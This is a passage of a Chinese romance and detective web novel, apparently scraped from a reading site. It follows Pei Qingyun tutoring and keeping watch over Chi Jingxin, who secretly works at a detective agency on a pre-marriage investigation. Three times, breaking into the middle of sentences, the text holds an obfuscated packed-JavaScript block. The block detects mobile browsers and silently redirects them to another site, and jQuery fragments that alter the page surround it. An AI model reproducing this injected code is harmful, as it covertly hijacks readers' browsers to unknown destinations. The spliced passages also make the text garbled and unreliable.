两人就这么有一搭没一搭地聊着。没过多久,裴清昀下班回来了。他经过客厅时,看见池镜心窝在沙发里,捧着个手机在跟人视频聊天。茶几上放着一袋子书,应该就是她下午去买的学习资料。
裴清昀走过去,想翻看一下她都买了些什么资料,却猝不及防听到了池镜心和视频里的人的对话。
池镜心:“你又在拍这种露骨的视频。”
秦铠澄:“对啊,你要不要跟我一起拍啊?姐姐带你赚大钱。前几天我还接到一个广告了呢。”
裴清昀眉心一跳,三步两步冲过去,一把将池镜心手里的手机抢走。
池镜心大惊:“你干嘛?!”
裴清昀看向手机屏幕,屏幕里是一个跟池镜心年纪相仿的女孩,手里拿着一根尺寸很小的白色骨头,正一脸诧异地看着他。
秦铠澄:“啊,你就是裴清昀吧?妈呀好有冲击力的一张脸,你比狗仔偷拍到的那些照片还帅诶!”
裴清昀转头问池镜心:“这是你朋友?她是做什么的?”
池镜心一脸茫然:“这是我朋友秦铠澄。她是医学生,最近在搞副业,拍自己做手工的视频发到网上,还挺火的。”
秦铠澄兴奋地跟裴清昀介绍自己的副业:“我的视频技术含量很高的哦。我用糖捏小动物,会从骨骼开始开始捏,然后一步步添加肌肉、筋膜层、表皮等。裴先生,你名下的产业有需要的话可以找我打广告,我现在已经有一万粉丝啦!”
裴清昀看着秦铠澄书桌上那一排用糖捏出来的骨头,颅骨,肋骨,椎骨……应有尽有。他陷入了沉默。
露骨的视频……原来是字面意义上的露骨啊……
吓老子一跳……又被这孽障给耍了……
池镜心一脸疑惑地问:“所以你把我手机抢过去干嘛?”
裴清昀:“……”
他脸色一沉,答非所问:“你看看你朋友多优秀!医学院分那么高人家都能考进去,做个副业都积累上万粉丝了。你一天天少嬉皮笑脸的,多跟人家学学!”
莫名其妙挨了通教训,池镜心直接气笑了:“不是,你有病吧?我是不是给你好脸给多了?”
“以后不用给我好脸,我巴不得你严肃一点。”
说完,裴清昀将手机扔回她怀里,转身上楼。
视频里的秦铠澄憋不住笑出了声:“怎么办宝宝,我突然觉得你俩还怪好磕的。”
池镜心大惊失色:“澄澄你也有病!”
到了晚餐时间,裴清昀才下楼。他先是走到茶几旁,翻了一下池镜心买回来的那些书,然后走到餐桌旁坐下准备吃晚饭。
池镜心一直在院子里跟阿智玩。裴清昀喊了一声:“阿心,过来吃饭了。”
池镜心跟阿智玩得正投入,只当做没听到。她根本不想吃饭,今天下午吃了太多甜品,这会儿完全没饿。
裴清昀叹了口气,打算亲自去院子里把池镜心揪过来吃饭。他没有那么多时间陪她周旋,吃完饭他要辅导她的功课,辅导完功课他还要处理工作。
他刚来到院子,就看到池镜心蹲下身子,举起右手去跟阿智玩击掌。
池镜心:“阿智,来,givemefour!”
裴清昀:“……”
他忍了忍,还是没忍住纠正她:“是givemefive!你个文盲!”
池镜心理直气壮地骂了回去:“这是我们年轻人的一个梗,你个老年人不懂就不要随便发言!”
她抓起阿智的一只前爪,展示给裴清昀看:“看见没?阿智只有四根脚趾,它只能givemefour!”
裴清昀走上前去,指着阿智脚掌边缘的狼趾,没有丝毫要认输的意思:“你好好看清楚,它是有第五根脚趾的!这根叫狼趾,你不懂就不要随便发言!”
池镜心也没有丝毫要认输的意思:“这根狼趾长的位置这么偏,击掌的时候根本碰不到它,只能碰到其它四根脚趾,所以就还是givemefour啊!”
裴清昀:“……”
他突然觉得这对话好弱智。他都二十好几的人了,怎么还会为这种无聊的事情争吵。
都怪阿心这个智障,把他的智力水平都拉低了。
他深吸了一口气,终于想起来自己干嘛来了,立刻言归正传:“别玩了,去洗个手,该吃晚饭了。”
池镜心洋洋得意地抬高了下巴:“怎么?吵输了就转移话题?”
“随便你怎么想,洗手,吃饭。”
“我没饿。”
“没饿也吃点。吃完我给你补习英语。”
“今晚就开始补习啊?!”
“那不然呢?做一件事最好的时机就是现在。”
“我买了本推理小说还没看完呢!我打算今晚看完的!”
“补习到九点就结束,之后你爱看什么看什么。”
池镜心眼珠子一转,不怀好意地笑了:“我想看你腹肌,给看吗?”
裴清昀面色不变:“我也想看看你的大脑是不是没长沟回,你先给我看,我就给你看。”
池镜心翻了个白眼,进屋洗手去了。
随便吃了几口晚饭,她忽然想起一个事:“以后我都在你这温书,你是不是得给我准备个书房?”
“用不着书房。待会儿吃完饭,让工人把餐桌收拾干净了,你就在餐桌上温书。”
“啊?”池镜心垮下了脸,“你这空间这么大,连个书房都不给我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036720|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用啊?”
裴清昀抬头看了她一眼:“你小时候我给你辅导过功课,你的注意力真的很差。给你个书房,谁知道你会把自己关在里面干什么。在餐厅温书,我和家里所有的工人都可以随时监督你。”
池镜心撇了撇嘴,不知道是该感谢他的用心良苦,还是烦他把她当贼防。
吃完饭,池镜心嚷嚷着自己晕碳了,要休息一会儿。裴清昀完全不上当。
“你才吃几口?能晕什么碳?给我把这套模拟题先做了,我要看看目前你的英文到底是什么水平。”
池镜心没有办法,不情不愿地坐在餐桌旁开始做题。
裴清昀坐在她右手边,用笔记本处理工作,时不时抬头看看她题做到哪了。池镜心一旦望着别处走神超过一分钟,他就会出声提醒她认真一点。
没一会儿池镜心就心浮气躁,难受得不行。她已经很久没安安静静坐下来刷过题了,英文又是她最讨厌的学科,她根本坐不住。
“你的键盘声好吵。”她故意找茬。
裴清昀很好说话:“那我不用笔记本了。”说完他就把笔记本合上了,改用手机回复邮件。
没过多久,她再次找茬:“你的餐厅灯光不够亮,天天在这温书,我会瞎掉的。”
裴清昀立刻叫来管家温迪,让她拿个台灯来。
又过了片刻,池镜心隐约闻到一缕淡淡的香气。这个味道非常特殊,像是洁净的高山雪,又像是冰冷的金属味。
之前跟裴清昀同坐一辆车时,她从他身上闻到过这个味道。此刻她对这个味道产生了巨大的好奇。事实上,此时除了英语题,她对什么都好奇。
她上半身往裴清昀那凑,抽了抽鼻子,轻声来了一句:“你好香啊。”
瞬间,裴清昀浑身的汗毛都炸了,他恨不得把这孽障拎起来抡几圈扔到山下去。
他把手机当惊堂木往桌子上一拍:“你神经病啊?!不耍流氓会死是不是?!”
池镜心委屈得不行:“我没耍流氓……至少这次没耍。我就是好奇你身上的香水味。”
“回头我让温迪买一瓶同款给你。现在,你给我老老实实把题做完!”
到了晚上九点,第一次补习终于在一片鸡飞狗跳中结束了。裴清昀累到不想说话。连开十二小时的会都比给池镜心补习两小时英语来得轻松。他怀疑给她补习一次他就得少活好几年。
第二天早上吃早饭的时候,裴清昀不忘给池镜心布置今天的任务:“今天白天,你把昨晚我给你标出来的那些单词短语都背下来,晚上我会抽查……”
他还没说完,池镜心就打断了他的话:“今天不行,我没空。待会儿我要返工。”
裴清昀一愣:“你返什么工?”
池镜心随口扯了个谎:“我在茶餐厅做兼职。”
裴清昀不相信她会在茶餐厅做兼职。他懒得管她到底在外面鬼混什么,直接命令她:“别做了。未来一年时间,你的主要任务是温书。其余任何乱七八糟的兼职都给我停掉。”
池镜心嘴里塞满了食物,含含糊糊地回他:“不做兼职哪来的钱,你养我啊?”
“可以。”裴清昀答得很快。
池镜心没想到他会这样回答,抬起头诧异地看向他。
“你刚出生的时候,我向你母亲承诺过会好好照顾你。前几年我以为你随你父亲移民去加拿大了,就没管过你,这是我的疏忽。你堕落成现在这样子,我也有责任。
今后我不仅会监督你的学业,还会负责你的一切花销,直到你大学毕业为止。你只需要专心备考就行。”
池镜心轻轻地“切”了一声,满脸不屑:“谁要你养。我就要去做兼职,你管不着。”
“不要任性。”
“我偏要任性。你再废话我就不住你这了。”
“……”
大清早的,裴清昀只觉得自己的太阳穴疼得快要炸了。
他可不认为池镜心是个热爱工作的好青年,她肯定是在外面鬼混。他又想起之前池镜心把几个古惑仔叫到家里开银趴的事,搞不好她真的沾染上了违禁药物,甚至有可能在以贩养吸,所以才闹着要返工……
他沉吟片刻,假装无意地问:“过几天我要去做体检,你要不要也顺便体检一下?”
“不要!”池镜心把头摇得像拨浪鼓,“我有针尖恐惧症,谁都别想抽我的血!”
裴清昀的心脏咚的一下沉了下去。
池镜心三两口吃完早饭,起身就走:“我走了,晚上见。”
裴清昀目光复杂地看着她的背影,拿起手机给阿锋打了个电话:“阿心刚走,你去跟踪她,看看她今天在外面都干了些什么。”
打完电话,他起身走向池镜心住的客卧。他仔细检查她睡过的床,从枕头上捻起两根头发丝,然后把温迪叫了过来。
“把这两根头发拿去化验所化验一下。”
10. 虚惊
池镜心第一次从裴清昀家出发去事务所,一路上她总觉得哪里怪怪的,好像有人在暗中盯着她。
她的老板钟言真以前是CIB的督察,最擅长跟踪与反跟踪技术。池镜心初进事务所的时候向钟言真学习过相关知识,因此她并不太慌张。
走到熙熙攘攘的大街上,池镜心装作边走边玩手机,不小心撞到了一个上班族。她立刻转回身向上班族道歉,还帮他把掉在地上的公文包捡了起来。
做完这一系列动作,她继续向前走,嘴角泛起一丝笑意。
刚才她回头跟上班族道歉的时候,迅速扫视了一遍四周,在人潮中她发现了一张熟悉的脸,是裴家那个保镖阿锋。
这个阿锋应该没系统学过跟踪技术,他的跟踪水平真是有够烂的,居然都不知道要在街道的另一侧跟踪目标,也不知道当目标停下来时他不能立刻跟着停下来,更不知道不能一直盯着目标看……总之,错漏百出。
池镜心用脚趾头想都知道,肯定是裴清昀不信她真的在茶餐厅做兼职,所以派了阿锋来跟踪她。
她天生是个恶劣胚子,耍了裴清昀这么久尤嫌没耍够,至今没有丝毫想掉马的打算。她看了一眼不远处人潮汹涌的商场,径直小跑过去。
裴清昀今早来到公司办公,一直心神不宁。当初他被公公婆婆骗回港岛,给他舅父收拾烂摊子的时候,虽然每天忙到焦头烂额,但都没有像现在这样心慌意乱过。
他给温迪打了个电话,问她检测结果什么时候能出来,温迪说还得等两个小时。
挂了电话没一会儿,他又接到了阿锋的电话。
阿锋:“不好意思裴先生,刚才池小姐突然跑进一家商场,我跟了进来,却怎么也找不到她人了。”
裴清昀沉默片刻,问:“你的简历没造假吧?”
阿锋都快哭了:“当然没有了裴先生,我之前真的是要员保护组的!但是术业有专攻啊,我们G4主要执行要员保护任务,跟踪可疑人员这种活是CIB干的,我没接受过相关培训啊!”
裴清昀挂了电话。明明是阳光明媚的清晨,他却觉得整片天都暗了,暗得快要塌下来了。
他几乎已经确定了,池镜心肯定是染上了毒瘾,在外面做些见不得人的勾当。不然她为什么会走个路都疑神疑鬼的,早早就发现阿锋的跟踪并且甩掉他?
他右手无意识地用力握紧签字笔,苍白手背上青筋突起。啪的一声,签字笔折成了两段。
此时此刻,他并不想骂池镜心,他只想狠狠骂自己一顿。他就是个不折不扣的蠢货!
小时候他一直是把池若颐当亲生母亲看待的,池若颐因公殉职的时候,他的痛苦不比任何人少。
之后很长一段时间里,他不敢去见程叔和阿心,一见到他们,他就会想起过世的契妈,再度陷入巨大的悲痛。
过了好几年,他终于联系了程叔一次,却得知他们一家马上就要移民去加拿大了。他没多想,以为阿心跟着亲生父亲去了国外应该会过得挺好的,国外宽松的环境更适合她这种不走寻常路的小孩。
恰好那几年他也很忙,不是在英国忙学业,就是在收拾舅父留下的烂摊子,根本没有时间去看看阿心。于是时间一晃,他俩足足八年没有任何联系。
现在他才发现自己是多么的愚蠢和大意。契妈离世的时候,阿心才十二岁,正是刚进入青春期,心理变化格外剧烈的时候,一不小心就会行差踏错。她亲妈不在了,父亲又另外组建了家庭,误入歧途简直是分分钟的事。
而他呢?这八年里他本该承担起兄长的职责,好好引导她的。可他只顾着自己逃离悲痛的情绪,对她不闻不问,简直蠢得令人发指!
事到如今,再悔恨都没有意义了。他扔掉手里的断笔,暗暗打定主意,今天晚上阿心回到家,就立刻把她送到戒毒中心去。往后余生,他都会对她严加看管,定不会让她再沾染任何不良习气。
此时此刻,池镜心对便宜哥哥复杂的心理活动一无所知。她甩掉阿锋的跟踪之后,没心没肺地乐了半天,还去买了一杯奶茶,边喝边来到洞烛侦探事务所。
会议室里,同事们全都到齐了。向思移、阿豪、阿杰、龙仔以及老板钟言真,齐刷刷地转头看向迟到的池镜心。
池镜心没羞没臊地抬起爪子,跟大家打了个招呼:“嗨~”
钟言真板着个脸:“大家都在等你,你有没有羞耻心的?”
池镜心笑嘻嘻地拉开椅子坐下:“路上遇到点事耽误了。”
她懒散惯了,也根本不怕钟言真。倒不是说钟言真是个多好脾气的老板,主要是钱给得太少了。池镜心一个月的薪水还不如洗碗工。
打工就是这样的。月薪十万,她可以管钟言真叫金主妈妈;月薪不如洗碗工,她就觉得钟言真应该管她叫金主妈妈。迟到又怎么了?能来就是给足面子了。
钟言真也确实拿她没办法,只瞪了她一眼便进入正题。
“这次咱们事务所接到一个大单。港岛老牌豪门骆月升家族,你们听说过吗?”钟言真兴致勃勃地扫视着员工们。
大家都一脸茫然地摇了摇头。
钟言真翻了个白眼:“好吧,骆家一直很低调,而且已经很多年不做实业了,你们这些小年轻没听说过也正常。这次的委托人呢,就是骆月升家族的后人骆仲贤先生,以及他的夫人。
骆仲贤夫妇的儿子骆品谦,今年二十七岁,有一个未婚妻,叫何咏晴,今年二十六岁。两人目前正在筹备婚礼。
骆仲贤夫妇总觉得准儿媳对他们有所隐瞒,因此找到了我们事务所,委托我们对何咏晴进行调查,重点弄清何咏晴的家世背景是否有所隐瞒,过去的人生是否有重大污点,人品是否可靠。”
池镜心有些意兴阑珊:“嗐,我还以为是什么大单呢,结果就是个婚前调查。”
婚前调查是侦探事务所常见的委托。池镜心对这类委托一向不是很感兴趣,嫌调查过程无聊,她更喜欢刺激一点的委托。
钟言真:“我说这是个大单,是因为骆仲贤夫妇出手十分阔绰,做完这一单我就有钱给你们发奖金了。所有人都得把全部精力投入到这次的婚前调查中,务必让委托人满意,听到没有?”
大家稀稀拉拉地应了几声“听到了”。
等钟言真把骆品谦和何咏晴的资料用投影仪放出来,池镜心微微吃了一惊。这两人她见过。她扮啤酒妹那次,在酒吧里坐裴清昀对面的那对连体婴小情侣,正是骆品谦和何咏晴。
想想也正常,港岛的豪门世家互相都认识,因此裴清昀和骆家的后人一起喝个酒再正常不过了。
散会后,向思移抬手勾住池镜心的脖子,笑嘻嘻地问她:“阿心,那天晚上送你回家的那个帅哥,我总觉得眼熟。回到家后我终于想起来了,他就是裴清昀,对吧?”
池镜心坦诚地点了点头:“嗯,是他。”
“好你个阿心!”向思移锤了她一拳,“天天跟我们一起吃两餸饭,卖惨哭穷,结果你是千金大小姐!你说你装穷人做什么?怕太有钱了被我们仇富么?”
“我没装……”
“还说没装!你刚进事务所的时候,我看到你这一口漂亮的牙,就知道你家境肯定不差了。”
池镜心有些无语:“……那是因为我爸就是牙医。”
“牙医?”向思移眼睛一亮,“我看新闻说,有些开高端口腔诊所的牙医,年收入能上千万。那你确实是大小姐啊!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036721|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“哪有那么赚钱。我爸确实开过口腔诊所,一年也就几百万吧。我家只是普通中产而已啦。”
池镜心小的时候,她父亲开口腔诊所,母亲是总督察,父母从事的都是高薪职业,年收入逾百万。她那时的生活条件确实还不错,但不代表现在她不穷。
池镜心继续解释道:“我妈过世了,我爸再婚了,又生了个儿子。他说他的钱只会留给他儿子,一分都不会给我。所以我不是在装穷,我是真穷。”
“啊?这样啊。”向思移有些不好意思地摸了摸后脖子,也忘了问她是怎么跟裴清昀认识的,只胡乱安慰了两句,“没事的阿心,三十年河东三十年河西,搞不好你以后比你爸有钱多了呢。”
池镜心笑了笑:“借你吉言。”
笑完她又有些惆怅。她现在的收入还不如洗碗工,写的推理小说全部被拒稿,明年要是考上大学了,又得花一大笔学费,脱产读书四年……她基本上是不可能比她爸有钱了,她肉眼可见地只会越来越穷。
两个小时后,裴清昀终于接到了温迪的电话。他已经做好了充分的心理准备,等接完这个电话他就会去联系戒毒中心。
没想到温迪说:“裴先生,检测结果出来了,没有检测到任何毒品成分。”
裴清昀愣了一秒,只觉得天瞬间就亮了。整个世界草长莺飞,晴空万里,惠风和畅……
他长长地松了一口气,生出一种劫后余生的庆幸。感谢天,感谢地,感谢阿心小混蛋,总算没有坏得太彻底,他也不用死后去契妈面前谢罪了。
晚上下班后,裴清昀在回家路上心血来潮,决定去给池镜心买一份礼物当作奖励。常年考零分的小孩,考了一次十分都可以得到奖励。对于阿心这种坏胚子,仅仅是没有使用过违禁药物,就已经值得给她一份奖励了。
他记得阿心从小就喜欢在左手手腕上戴饰品。因为她是早产儿,刚出生那会儿,她公公婆婆担心她长不大,就去藏地祈福,请了一条金刚结手绳回来,戴在了阿心的左手腕上。
从此阿心就养成了习惯,左手腕上一定要戴点东西,手链、手串、手绳、手表,手镯……什么都行,不戴她就总觉得缺点什么。
裴清昀去给她买了一只手表。奢侈品旗舰店闭店接待,店长将店里所有的现货都拿了出来,不敢有丝毫懈怠。
裴清昀没有选最贵的款,仅仅选了一只公价五十多万的手表。在他看来,一开始的奖励规格不能太高,要慢慢地升级,这样才能起到激励她进步的作用。
他记得阿心小时候很喜欢亮晶晶的东西,因此他选的这只表表盘上镶满了碎钻,以及十二颗代表刻度的蓝宝石,表带是18K白金,整只表在灯光下看起来白灿灿的。
回到家,他一进门就看到地板上有个东西在滚来滚去。定睛一看,那个“东西”是池镜心。她穿着一件肥大的比格犬连体睡衣,像个在发癫的比格犬一样满地打滚。
池镜心瞥见他回来了,立刻坐了起来,兴奋地跟他说:“我新买的比格犬睡衣到了!还没洗呢,我先试穿一下。这个衣服好适合在地板上打滚啊,是不是很可爱?”
裴清昀面无表情地看着她。池镜心以为他肯定会嗤之以鼻,嘲讽她几句,结果他只是走了过来,伸手摸了摸她的脑袋。
“嗯,可爱。”
池镜心一愣,便宜哥哥温热的手掌轻轻放在她的头顶,她体内莫名激起了一串奇异的愉悦的电流。
她迷茫地看着对方那双平静的琥珀色眼睛,不明白自己这是怎么了。
裴清昀也有点奇怪,自己今天是怎么了?之前怎么看阿心怎么烦,恨不得替契妈狠狠收拾她一顿。今天居然觉得她也不是很烦人了,这张带着婴儿肥的脸还挺顺眼的。
11. 迷梦
裴清昀垂眸,不再看她的脸,将手里提着的深蓝色纸袋递给她,语气平淡:“给你买了个礼物。”
池镜心接过这个印着奢牌logo的纸袋,也没问他怎么突然送她礼物。
小时候裴清昀每回来她家都会给她带礼物,她早就习以为常了,不觉得他突然送礼有什么奇怪的。
非要说有什么不一样的,无非就是小时候他送的礼物都不贵,这回送的一看就是奢侈品。但池镜心还是觉得很正常,毕竟他现在太有钱了,送的礼物规格自然也提高了。
她从纸袋里拿出一个黑色盒子,打开,看到那条星光璀璨的手表,她笑了:“好看诶,blingbling的。”
裴清昀也笑了笑,他就知道她会喜欢,毕竟是完全按照她的喜好选的。
池镜心左手腕上本来戴着一块旧表,这会儿她将旧表解了下来,开始试戴新手表。
裴清昀看到被她随手放在膝头的那只旧表,脸上的笑意顿时就消散了。
他想起来了,那天在酒吧第一次见到成年后的池镜心,当时她手上就戴着这款旧表。
这只表牌子还不错,但款式挺老的了,不像是她会买的表。多半是她在外面鬼混的时候,某个想勾搭她的男的送的。
现在这只旧表在裴清昀看来,就是池镜心混乱私生活的罪证,他怎么看怎么不顺眼,便伸手拿起了那只表,假装随意地说了一句:“这只表又老又丑,我替你扔了吧。”
池镜心本来正喜滋滋地试戴新表,听到他这么一说,脸色一变,劈手将旧表夺了回来,破口大骂:“你才又老又丑呢!这只表可是我妈咪的遗物!我把你扔了也不会扔它的!”
裴清昀一愣,负罪感立马拉满。他真是罪该万死,怎么可以说契妈的手表又老又丑。与此同时,他又暗暗松了一口气,还好不是某个男的送她的。
池镜心的怒火一下子烧光了理智,连那只新表也不稀罕了,一把摘了下来,往裴清昀怀里一扔:“我不要你送的破东西了!滚!”
送个礼不仅没讨着好,还劈头盖脸挨了一顿骂。裴清昀也顾不上委屈了,是他说错话在先。阿心的反应虽然过激了一点,但她是ADHD患者,本来就比常人更容易产生剧烈的情绪波动,他从小就理解并包容她的脾气。
“我错了,”裴清昀立刻低声下气地道歉,“我不知道那时契妈的手表,是我有眼无珠,品味差……”
他好声好气地哄了半天,才哄得池镜心勉强消了气,将两只表都收了起来。
到吃晚饭的时候,裴清昀提了一句:“以后你有什么喜欢的东西,可以列个清单给我。”
池镜心眼睛一亮:“你都给我买?”
“你想得美。”
池镜心的脸立马垮了下去:“你又想挨骂了是不是?”
裴清昀笑了笑:“我的意思是,下次你做英文模拟题,卷面正确率达到70%以上,我就可以从清单里挑一样当奖励送你。”
在他看来,十几二十岁的小女孩大多都有旺盛的物欲,看到什么好东西都想买。与其让外面那些不三不四的男的利用阿心的物欲诱骗她,还不如让他来利用她的物欲激励她好好温书。
池镜心懂了。难怪今天他突然送了个礼物给她,原来这就是个诱饵,用来钓着她好好学习,成绩上去了还会有更多奖品。
上一次被人这样哄着学习,还是十一二岁的时候,她妈妈说如果考得好就给她买某个推理大师的小说全集。
她突然觉得有些别扭:“我都成年两年了,怎么感觉你还把我当小孩?”
裴清昀没多想,随口回了一句:“有人把你当小孩,不是挺幸福的一件事吗?”
“……”
幸福吗?好像是有一点温馨幸福的感觉,但她还是莫名有些别扭。
晚上补习英文的时候,池镜心想起关于何咏晴的婚前调查,打算从裴清昀这打探一下情况。
“今天我和茶餐厅的同事聊八卦,她们说骆月升家族的某位少爷要结婚了,还把人家的ins拿给我看。我一看才发现,这人我见过啊。就是在酒吧那次,坐你对面那个男的,就是他吧?他旁边的女孩是不是就是他未婚妻?”
裴清昀坐在餐桌旁浏览文件,只嗯了一声算作回应。
池镜心继续试探:“你跟那对小情侣是不是都很熟?我听同事说,男方的父母不太接受这位准儿媳,大家都传她身上有什么瓜。她人到底怎么样啊?”
裴清昀终于偏过头看了她一眼:“你这么八卦做什么?专心做题。”
“你满足一下我的好奇心呗,不然我就一直想着这个八卦,无心学习了。”
“我跟骆品谦更熟一点,跟他女朋友就是普通同学关系。她人挺好的,你少听那些捕风捉影的传闻,基本都是假的。”
池镜心哦了一声,低头继续做题。
她就知道多半打听不出什么来。裴清昀看起来就不像是关心八卦的人,真有什么传言也传不到他耳朵里去。
补习完英文,池镜心回到卧室,没一会儿温迪就来敲门。
“昨晚裴先生吩咐我去买一瓶他的同款香水给你。我已经买好了,池小姐请收下吧。”
温迪将一个白色纸袋递给池镜心。
池镜心有些诧异,还以为当时裴清昀就是随口一说而已,结果还真让温迪去买了。
她接过纸袋,心想今天是什么黄道吉日不成,竟莫名其妙接二连三地收到礼物。
她将包装拆掉,拿出香水瓶,先在手腕上喷了一下。她低头闻了闻,确实是那个味道,极清淡的中性香,像清新的山雪,又像冰冷的金属。
但不知道是不是心理作用,她总觉得这支香水在她皮肤上呈现出来的味道,跟裴清昀身上的有一点微妙的不同。她更喜欢他身上的味道。
池镜心确实挺喜欢这支香。晚上入睡前,她拿着香水瓶在枕头上一通乱喷,当作侍寝香。
在清冽淡雅的香气包围中,她一点一点坠入了梦乡。
不知道睡了多久,也不知道自己身在何方。她闭着眼睛,失去了视觉,但其他的感官都异常敏锐起来。
首先敏锐起来的是触觉。她感觉有人在亲她。湿润的唇舌,细致的纠缠,滚烫的气息……还有放在她后脑勺上的温热的手掌,触感好熟悉。
这人究竟是谁?她皱起了眉,苦苦地思索着,大脑却像生锈了一样运转不起来。
接着敏锐起来的是嗅觉。那样洁净冷冽的香气,如同高山上从未染过尘俗的千年积雪,不带一丝甜度和温度,灌满了她的鼻腔和肺腑。
嗅觉是最能触发人记忆的。当池镜心察觉到这香气的存在,她的大脑立刻搜索到了一个人的脸,然后她猛地一惊。
客卧温暖舒适的大床上,池镜心倏地睁开了眼睛,活活被吓醒了。
她惊魂未定地迅速回忆了一遍梦里的内容,然后立刻翻身下床。
可能是因为在侦探事务所工作的缘故,她有点职业病,容易疑神疑鬼。她检查了一遍门窗,都锁得好好的,没有人为闯入的痕迹,屋里就她一个人。
所以刚才并不是真的有人在亲她,她只是做了一个春梦。
确认了这一点后,池镜心颓然坐到床边,两手摊开,捂住了滚烫的脸,几乎羞愤欲绝。
她是不是有什么大病啊?人生第一次做春梦,对象居然是她的便宜哥哥!道德在哪里?底线又在哪里?
难道是因为最近老是口头上占他便宜,撩他玩,所以她的潜意识信以为真了?可她向来是这样的说话方式啊,以前都没出现过这种情况的。
她一眼瞥到放在床头柜上的香水瓶,恍然大悟,就是这瓶香水搞的鬼!
这是裴清昀身上的味道,她拿来当侍寝香,自然就很容易在睡梦中联想到他。而且据说国外有些小众的沙龙香,会在香水里掺催情成份,这瓶破香水肯定也掺了!这就不是什么正经香水!
池镜心怒火中烧,动作粗鲁地拉开床头柜的抽屉,将香水瓶扔了进去。然后她揪起那只香喷喷的枕头,一把扔到了床尾那头的地板上。
后半夜池镜心没怎么睡好,索性就不睡了,早早洗漱完毕,来到餐厅等着吃早饭。
没过一会儿,裴清昀也下楼了。他看见餐桌旁的池镜心,微微吃了一惊。
“你个懒鬼今天怎么不赖床了?居然起得比我还早。要是你以后每天都能早起,不如加个早读课,背一背英语单词什么的,你词汇量实在太小了……”
池镜心没有听他在絮絮叨叨讲什么,只恨恨地盯着他。她的目光好像刀片一样,划过他深褐色浓密的头发,宽阔洁白的额头,琥珀色的眼睛,高挺的鼻梁,线条优美但经常冷淡抿起的嘴唇,还有那阴郁俊美的混血轮廓……
再往下,还有一尘不染的白色衬衣,明明每一颗扣子都扣上了,洁白衣领在喉结下方围出一个禁欲的弧度,但池镜心还是给他定了性——就是个骚货罢了!
长得这么骚,还用含有催情成份的香水,生怕别人察觉不到他的骚劲。好好的女孩子,都让他给勾引坏了!
池镜心充分发扬“少反思自己,多指责他人”的自洽精神,将裴清昀给翻来覆去审判了个遍,噼里啪啦安上了数条罪状。
裴清昀走到餐桌旁坐下,察觉到她愤恨的目光一直锁定着自己,有些不解:“怎么这么看着我?昨天的气还没消?不是都给你道歉了吗?”
池镜心难得表情严肃,语重心长:“你以后还是做个正经人吧。”
裴清昀一愣,气笑了:“你跟我说这话?这跟杀人犯劝佛祖不要杀生有什么区别?”
池镜心下颌微抬,义正词严:“我表面上看起来不正经,但我内心正经。有的人表面正经,谁知道背地里干了些什么勾当。”
“你是不是又在网上看了些什么乱七八糟的流言?我是什么人你不清楚,还要去听外人编排?你有这个闲工夫怎么不多背几个英语单词?”
工人已经把早餐都摆好了,池镜心埋头吃饭,没有理会他的唠叨。她死也不会说自己昨晚做了个春梦的,这个秘密她要带进棺材里。
吃完早饭,池镜心早早就返工了。
最近事务所所有员工都在全力做骆家委托的婚前调查。骆家给钱大方,但要求高,何咏晴的所有人生轨迹都得调查得清清楚楚明明白白。骆家婚期在即,留给他们做婚前调查的时间不多,这下工作量直接饱和到溢出来了。
池镜心甚至还去内地出了个差。何咏晴的母亲是内地人,她童年在内地华南地区生活过。池镜心独自赶赴何小姐童年生活过的地方,四处收集跟她有关的信息,忙活到晚上,她随便找了个旅馆,累到倒头就睡。
睡到一半,她的手机响了又响,锲而不舍地把她吵醒了。
她迷迷糊糊地把手机拿过来一看,是裴清昀打来的。
虽然隔着手机,裴清昀的咆哮声依然差点把她耳朵震聋:“你跑哪里鬼混去了?!给你打了多少个电话都不接!你看看现在几点了!”
池镜心还真不知道现在几点了。她看了一眼左手腕上的手表,已经是晚上11点47分。她一拍额头,有些懊恼。怪她今天太忙,忘了跟裴清昀说她不回去了。
池镜心:“我同事过生日,我去参加她的生日派对了。派对现场太吵,我一直没听到手机在响。”
裴清昀:“报地址,我让司机过去接你。”
池镜心哪里敢让他派人接,只能继续编谎话:“不用了,我今晚不回来了,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036722|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们几个女孩子要留同事家过夜,一起聊天吃夜宵什么的。对了明天我和朋友要去内地玩几天,大概下周我才会回来。”
裴清昀:“玩什么玩?有空闲时间就老老实实呆在家里温书!我不想看到你八十岁了还在考大学!”
池镜心好声好气地解释:“我跟朋友一个多月前就约好了这趟旅行的,我总不能临时爽约吧?回头我发旅行照片给你看哈。就这样吧,晚安!”
第二天,池镜心出门收集信息的时候,顺便去了一趟附近的老街,拍了一张照片发给了裴清昀。
裴清昀看着照片,冷笑了一声。
